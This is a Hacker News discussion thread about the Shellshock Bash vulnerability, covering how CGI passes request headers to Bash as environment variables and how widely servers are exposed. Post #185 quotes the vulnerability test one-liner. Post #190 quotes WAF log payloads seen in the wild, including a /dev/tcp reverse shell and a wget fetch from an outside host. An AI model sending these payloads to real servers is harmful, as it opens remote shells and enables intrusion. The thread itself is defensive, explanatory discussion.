Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Everything you need to know about the Shellshock Bash bug

troyhunt.com

Post reply on HN
Print view View original

181–190 of 296 posts

Re: Everything you need to know about the Shellshock Bash bug

#181

Post by nostrademons »

jtheory wrote: post #149
f- wrote: post #128

Since the post is relatively non-technical, I'd like to underscore that there are substantial concerns with the original and the followup patch, because with or without it, the underlying bash code parser is still exposed to the Internet. Nobody has posted an RCE vector that would be universally bad for the patched version, but several people have already identified "hmm, that's unexpected" types of global side effec…

The idea of using bash to do anything with input coming from the internet is asking for trouble, really... It's just a flaw with how CGI works generally, and how PHP etc. encourage you to build webapps. It's the same principle as SQL-injection attacks (and the flaw is there for the same reason! It's the obvious quick solution to just query mysql with "select * from users where username = " . PARAMS['username'].... Bu…

I've worked with sysadmins that insisted that CGI be disabled for exactly this reason. If we wanted a dynamic website we needed to use mod_perl or mod_php (it was back in the early 2000s, Rails/Django/nginx hadn't yet been invented). It wasn't a perfect solution - both of them still had plenty of security vulnerabilities - but it cut down the attack surface significantly.

Now I understand what all the security people who said "never use system(). Never, ever" meant.

Re: Everything you need to know about the Shellshock Bash bug

#182

Post by shangxiao »

sequoia wrote: post #138

Read a bit about this because I didn't understand CGI. tl;dr version of what's going on here, if I'm not mistaken (assuming apache/php for this example): 1. Web server (apache) gets request to route to CGI script (PHP) 2. Per the CGI spec, apache passes the request body to PHP as stdin & sets the HTTP headers as environment variables , so PHP can access them 3. In the PHP script, `exec`/`passthru`/`shell_exec` etc. i…

A CGI script may not be PHP - it could actually just be a bash script, perl, whatever.

Re: Everything you need to know about the Shellshock Bash bug

#183

Post by enjo »

mhurron wrote: post #114
ninkendo wrote: post #97

Earlier quoted context omitted.

Seriously, for an "Everything you need to know about X" post, they're very light on the details of what exactly makes a web server vulnerable.

If you run CGI you may be/probably are. Honestly, I'm having trouble seeing how this is the end of the world vulnerability that it's being hyped as.

There are a TON Of servers out there running PHP through good ole CGI. I would imagine that some of those are running web apps that lots and lots of people use. Meaning you now have shell access to those machines.

Mining username/passwords is probably going to be pretty simple. I wonder how many of these machines have credit card numbers stored in the clear? I'd bet that there's a bank somewhere running in exactly that configuration.

It's a big deal.

Re: Everything you need to know about the Shellshock Bash bug

#184

Post by shangxiao »

IshKebab wrote: post #180
sequoia wrote: post #138

Read a bit about this because I didn't understand CGI. tl;dr version of what's going on here, if I'm not mistaken (assuming apache/php for this example): 1. Web server (apache) gets request to route to CGI script (PHP) 2. Per the CGI spec, apache passes the request body to PHP as stdin & sets the HTTP headers as environment variables , so PHP can access them 3. In the PHP script, `exec`/`passthru`/`shell_exec` etc. i…

I have no sympathy really for people who use `system()`-style calls, or bash in their web servers. Bash is fairly obviously designed with complete disregard for security. I seriously doubt this is its last major flaw. But anyway, is it really that common? I would have thought most CGI scripts are Python, Perl, PHP, etc. and don't use `system()` type calls. Right?

This is actually quite common and acceptable if you want to interact with a piece of software for which there is no library or api. One real world example is producing thumbnails from Word documents using Libre Office.

Re: Everything you need to know about the Shellshock Bash bug

#185

Post by RickHull »

TeeWEE wrote: post #162

The article points you you can run the following code to check you are affected: env X="() { :;} ; echo busted" /bin/sh -c "echo stuff" However... This just shows that the bash installation has this problem. If your webserver that is running is not interacting with bash, then there is no problem at all. So look at your webserver. Its not per-se a problem in bash. Its more a problem of webservers using bash directly.…

There are many network daemons besides httpd which, if they delegate request handling to any other process or system functionality, may:

    1. Invoke bash somewhere in the call stack
    2. Pass request data via environment variables
If both of these are true, then the daemon is presumed vulnerable. You may still be vulnerable if (2) is false (by design) yet the attacker is able to set environment variables.

CGI / Apache / httpd is the obvious vector, but don't be lured into complacency.

Re: Everything you need to know about the Shellshock Bash bug

#186

Post by rlucas »

nkozyra wrote: post #124
nodata wrote: post #24

Earlier quoted context omitted.

mod_php is just as vulnerable as running php cgi scripts.

It seems like the pathway must be exploiter -> machine -> conduit (in this case, a web server) -> bash command through scripting language but that doesn't really make sense to me. if it's in the header as a cookie header, in php that would require something like this: $someVar = $_COOKIE['somecookiekey']; exec($someVar); this is a super fringe case, and wouldn't warrant this big of a deal. for this to be a 10/10 issu…

No, you fundamentally and dangerously misunderstand the bug.

Your "exec($SomeVar)" example is a standard, unsanitized-input-passed-to-command-line type bug.

Shellshock does something fundamentally different. Everything on the actual command line is irrelevant to shellshock.

What happens is that the child Bash inherits env vars from the parent (which is often the web server). The shellshock bug is that the ENV VARS THEMSELVES are evaluated by bash as instructions.

Your actual PHP or whatever can be fully up to best-practices, sanitizing cookies and inputs, etc., and still fall vulnerable if one of the server-set environment variables like HTTP_ACCEPT_LANGUAGE has a malicious payload and ANYWHERE in your code, a subsequent system() call deep within some imported module gets fired off.

Re: Everything you need to know about the Shellshock Bash bug

#187

Post by diydsp »

diydsp wrote: post #80
mrfusion wrote: post #75

I see how Apache passes request information through environment variables but I don't see how bash comes into play in typical CGI. Is anyone up for educating me? I see http request -> apache -> env variables -> php What am I missing?

I think I have the same question.. why is this called a "bash" bug? Is it not a webserver bug? Why does the webserver send data to bash through environment variables? Is there no better way to do it?

Wow, thanks for the downvotes, everyone!

I wonder how that is justified, since my question generated 10 informative replies, five levels deep.

Does anyone dare to tell me why they downvoted my comment?

Re: Everything you need to know about the Shellshock Bash bug

#188

Post by rlucas »

IshKebab wrote: post #180
sequoia wrote: post #138

Read a bit about this because I didn't understand CGI. tl;dr version of what's going on here, if I'm not mistaken (assuming apache/php for this example): 1. Web server (apache) gets request to route to CGI script (PHP) 2. Per the CGI spec, apache passes the request body to PHP as stdin & sets the HTTP headers as environment variables , so PHP can access them 3. In the PHP script, `exec`/`passthru`/`shell_exec` etc. i…

I have no sympathy really for people who use `system()`-style calls, or bash in their web servers. Bash is fairly obviously designed with complete disregard for security. I seriously doubt this is its last major flaw. But anyway, is it really that common? I would have thought most CGI scripts are Python, Perl, PHP, etc. and don't use `system()` type calls. Right?

No, super wrong. Underneath the hood there are all kinds of things that go on and result in system() or similar calls. Think about every module in CPAN / PyPI / whatever. Any non-trivial Web app has a high likelihood of eventually, somehow, somewhere, causing a system() type call to fire off.

Re: Everything you need to know about the Shellshock Bash bug

#189

Post by larrys »

nacnud wrote: post #130

Unless I've missed something, could some benevolent person use the bug to cause remote systems to run something like "sudo apt-get update && sudo apt-get install bash", to patch the vulnerability automatically? (it makes lots of assumptions, but surely it's better to have some patched systems as a result.)

"could some benevolent person use the bug to cause remote systems to run something like "

That's not benevolent that's intrusion. Nobody has the right to take it upon themselves to determine what someone else should be doing in this case. I would imagine that an action like that would also clearly violate a law or two (I'm sure others more knowledgeable could cite the law).

Re: Everything you need to know about the Shellshock Bash bug

#190

Post by [deleted] »

jgrahamc wrote: post #39

This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x () { :;}; echo shellshock-scan > /dev/udp/example.com/1234 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1 () { test;};/usr/bin/wget http://example.com/music/fil…

[deleted]
Post reply on HN